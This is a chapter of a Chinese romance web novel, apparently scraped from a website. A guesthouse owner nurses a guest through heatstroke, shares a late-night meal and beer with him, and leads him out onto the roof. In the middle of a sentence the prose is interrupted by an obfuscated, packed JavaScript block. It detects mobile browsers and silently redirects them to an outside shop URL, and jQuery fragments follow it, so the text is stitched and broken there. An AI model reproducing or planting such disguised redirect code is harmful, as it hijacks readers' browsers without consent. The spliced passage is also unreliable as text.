周时只看到一个影子闪过，转回头，听见老人家笑眯眯问：“新客人？”
“嗯，您老眼神挺好啊。”
“那是，小姑娘挺漂亮。”
“是男的。”周时无奈。
“小伙子挺漂亮。”况奶奶从善如流。
“……嗯，挺漂亮。”周时又往上看了眼，窗户已经关上了。
次日下午五点，况奶奶颤巍巍地去找周时，问漂亮小伙是不是生病了。
“一天没吃饭，小溪打电话没人接，我上去敲门也没人应……”
周时将拳套摘了，擦着身上的汗，安抚道：“现在年轻小伙都睡得久，您别急，我冲个澡就上去看看。”
“我不急，我又不是老板，”况奶奶又看了眼二楼，哼哼道，“我遛弯去。”
“往哪边溜啊？”
“你管我！”况奶奶笑着嗤他。
“我哪敢，”周时扶她下了个台阶，“戚戚念叨您呢，您不去看看？”
“哎哟，那鬼灵精……”
“去了顺便带几个橘子回来吃吃。”
况奶奶瞪他，他自觉弯下腰，额头吃了一记，老人家才哼了声，慢悠悠出了门，银白的发丝在余晖中显得亮堂堂的。
玻璃窗在落日下折射出橙色的流光，窗户内侧水汽氤氲，哗啦啦的水声没一会便停了，周时洗完澡换好衣服，随意吹了下头发，便下了楼。
“咚咚咚——”
周老板先礼后兵，敲了三回门，都没得到回复便果断踹了门。
“砰——”
木门砸在墙上又弹回来，周时被扑面而来的热气拍得蹙了下眉，这么热的天不开空调也不开风扇，怕不是闷晕了。
“你你你……”床上的人倏地坐起身，眼睛都没睁开，抱着被子，开口就是几个“你”。
“睡了一觉，变成机关枪了？”周时嘟囔了句，齿尖咬着根狗尾巴草，“抱歉，你一直没回应，怕你出事。”
机关枪？
程染秋还没完全清醒，眯眼看着光影中的人，肱二头肌是抡起来能把自己直接扔出去的模样。
于是没睡醒的客人支棱着一缕呆毛，眨着一双迷迷瞪瞪的杏眼，礼貌问道：“您是打劫吗？”
周时顿了下，将狗尾巴草捏在手心，眸中有细碎的笑意，淡声道：“嗯，打劫，拿钱。”
程染秋惊恐，露在外边的白皙小腿蹭地缩回被窝，还顺手捞了床边的手机。
“大热天的，别闷坏了。”周时无奈，又补了句“到小院吃饭”便出了门。
十分钟后，程染秋挣扎着下楼，看到餐桌边的周时，脑子里又自动将两人之前的对话过了一遍，感觉头痛加重，脸颊也有些发烫。
估计是没见过这么容易脸红的男生，周老板问小溪：“芦荟还活着吗？”
“这是什么话！”小溪不服气道，“活得好好的！”
“待会掰一点。”
“干嘛？”小溪没好气。
周老板下巴一扬，悄声道：“客人好像晒伤了。”
刻意压低的声线，沙沙的，像是火柴划过，点燃幽蓝的火苗。
轰——
程染秋感觉自己也被点燃了，陷入了这道好听的声线中，脑子有些昏昏沉沉。
他甩着脑袋，眼前的一切好似蒙上一层雾，胃也不舒服，想吐。
程染秋歪着身子往一侧倒，失去意识边缘炸开况溪的惊呼：“哥，他好像不是晒伤，是中暑！”
周时一手揽着他一手在他额头试了下，低声道：“嗯，都烧着了。”
月光从雕花的木窗缝隙钻进来，洒落一室的清辉。
床头柜上摆着水杯和几个拇指大小的小瓶子，床上的人手指动了动，慢慢睁开了眼睛。
程染秋感觉身子舒坦不少，转头看见藿香正气水闭了闭眼，依稀记得当时有只手不怎么温柔地给自己灌了这玩意儿。
“咕噜——”
肚子响亮地叫了一声，程染秋看了眼时间，凌晨两点。
他将小臂搭上额头，苦笑，来了两天，就几个小时是清醒的。
小时山昼夜温差大，这会儿的风吹身上还有点冷，程染秋搓了搓手臂，看着公区餐厅冰箱门上的纸条——保鲜盒留了饭菜，记得热了吃。
准备的人很贴心，但是没有料到来人真是十指不沾阳春水的。
热一下？怎么热？
程染秋原地转了一圈打量着，没发现微波炉，慢悠悠晃到小院。
小院里只亮了一盏灯，他摸索着找到厨房，却只见到一个大的灶台和一台煤气灶。
“嘶，也不知道有没有泡面。哎哟——”
程染秋的手肘不小心怼到碗架，幸好反应及时，只碎了两个碗。
他冲过去将厨房门关上，回来蹲下捡碎瓷片，又抽了几张废报纸，包好后才装进垃圾袋，仔细打好结。
起身时发现门被推开，一人齿尖咬着一根烟，没有点燃，含糊道：“忙着拆我厨房呢？”
“抱歉！”程染秋摊手，“我不会热饭，想找找有没有泡面。”
周时像是瞧见什么稀奇物件般“哦”了一声，靠在门边没动弹，半阖着眼，视线里是那只打了结的垃圾袋。
程染秋笑笑：“周老板，麻烦您，帮忙热一下？”
周时眼睛撑开一条缝：“不是吃泡面？”
有好吃的才不吃那玩意儿，程染秋摇头，清亮的眼神看着他。
一双杏眼在灯光下看着湿漉漉的，不像深夜闯进的山林精怪，像家养的小动物。
周时走过去，利索地用煤气灶将饭热上，然后脑袋半垂，靠在灶台边又闭上了眼睛。
程染秋悄悄打量他，眼下有点青灰，估计是没睡好。
“咕噜——”似是为了惩罚他的胡思乱想，饿扁的胃再次发出哀嚎。
他开口：“抱歉，吵到你了。”
周时睁开眼睛看他，看不出情绪，过了会，他转身关火，也不怕烫，直接就将碗端出来，示意他跟上。
“况奶奶睡隔壁，”出了小门，周时低声道，“老人家觉轻，麻烦你到公区餐厅吃。”
“不麻烦不麻烦，是我打扰了。”
暖黄的餐厅灯下，程染秋在餐桌边安静吃饭，周时拿了罐冰啤酒，整个人陷在一旁的懒人沙发里，更懒散了。
轻微的气泡碎裂声混着麦芽糖的醇厚香味散在空气中。
程染秋抬起眼皮看了眼，扒完最后一口饭。
一道阴影落下，是周时起身将手背覆在他额头：“不烧了，感觉怎么样？”
程染秋僵着身子：“没、没事了，之前多谢，我也不知道怎么还中暑了。”
周时抽回手，拉开椅子坐下：“温差大，你睡得久，白天还是得开上空调。”
“太累了，以前也不睡那么久。”程染秋不贪觉，上学那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283995|198407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会，还是他叫程女士起床送自己去学校。
想到这，喉咙有些干，他勉强提着精神说：“饭菜很好吃。”
“是么？”周时看他喉结滚动，问，“够吃吗？”
“够了够了。”酒香丝丝渗透过来，程染秋吸了吸鼻子，眼神不受控制地飘过去，舌尖舔了下嘴角。
“等着。”周时觑他一眼，撂下两字又站起身。
程染秋也不知道要等什么，双手放在膝盖上，眼神追随着那人，看着他打开冰箱，回来时手中多了罐啤酒。
“滋啦——”
清隽的手指勾着拉环往掌心用力，气泡争先恐后地迸发出醇香，金麦色的液体沿着杯壁淌入杯底，随即玻璃杯被推到对面。
程染秋有些意外：“给我的？”
“不是想喝？”
“嗯嗯，多谢。”
“不用，够么？”这人看着不像是会喝的样子，周老板只倒了五十毫升，也就够他自己养个鱼的。
“够了够了。”程染秋餍足地闻着酒香，小口抿着。
周时仰头灌下半罐，手指握住瓶身转了半圈：“车子修好了，暂存在我朋友那，要走的时候我带你过去。”
“好嘞，”程染秋仰起脸笑，“谢谢周老板。”
周时眼眸一动：“不客气，饭费不免，打碎的碗也要赔。”
“没问题。”
“……逗你的。”周时笑笑。
这客人挺好玩。
夜里的民宿很安静，不是寂静无声，而是没有车水马龙，灯红酒绿后的松快，虫鸣蛙叫流水声绵延在四周，将人裹在其中，舒坦、从容。
程染秋从没这么贴近过大自然，只觉得畅快。
他仰头饮尽最后一滴酒，舔了下嘴角，有点上头，后知后觉地想起对面这人在这的原因。
“那个……抱歉，吵到你睡觉了。”
周时揉了下耳朵，回：“我自己睡不着，和你没关系。你喝完就回去休息。”
“哦哦，好，那我回去了。”
声音沉了下去，好像山泉的涟漪，一圈圈泛开后归于平静。
周时看着他慢吞吞上楼，速度和况奶奶差不多，走到拐角又顿住。
窗棂外繁星点点，悬着的月亮却显得孤寂，洒在这位新来的客人身上，化不开他身上的愁绪。
周老板突然觉得今天的酒，度数尤其高，高得将刚攒起的瞌睡打散了。
“咚——”假山下的水池被投入一粒石子。
程染秋闻声转过头。
于是，周老板问：“不困的话去屋檐上坐坐？”
霎时，那人眼中起了光亮，启唇落下压抑的兴奋：“好嘞！”
周时也挑了嘴角，小孩一个。
房顶留了一块平地，烧烤、闲坐都不错，但周老板不喜欢那，领人到二楼走廊尽头，然后长腿一迈，从木窗跨了出去。
“欸——”
程染秋被吓一跳，半个身子探出去抓人，反而被人家托了下手肘，那人弯腰扶着他，另一只手稳稳抓着房梁，露出一截劲瘦的腰，眼中闪着细碎的调侃。
“不必行此大礼。”周时说。
程染秋抓着他结实的小臂，掌心下的青筋跳动，他轻叹：“周老板，吓唬我啊。”
周时眼神戏谑：“这么不经吓？那还上么？”
“上！”程染秋手指收紧，顺着他的力道，踩上窗沿。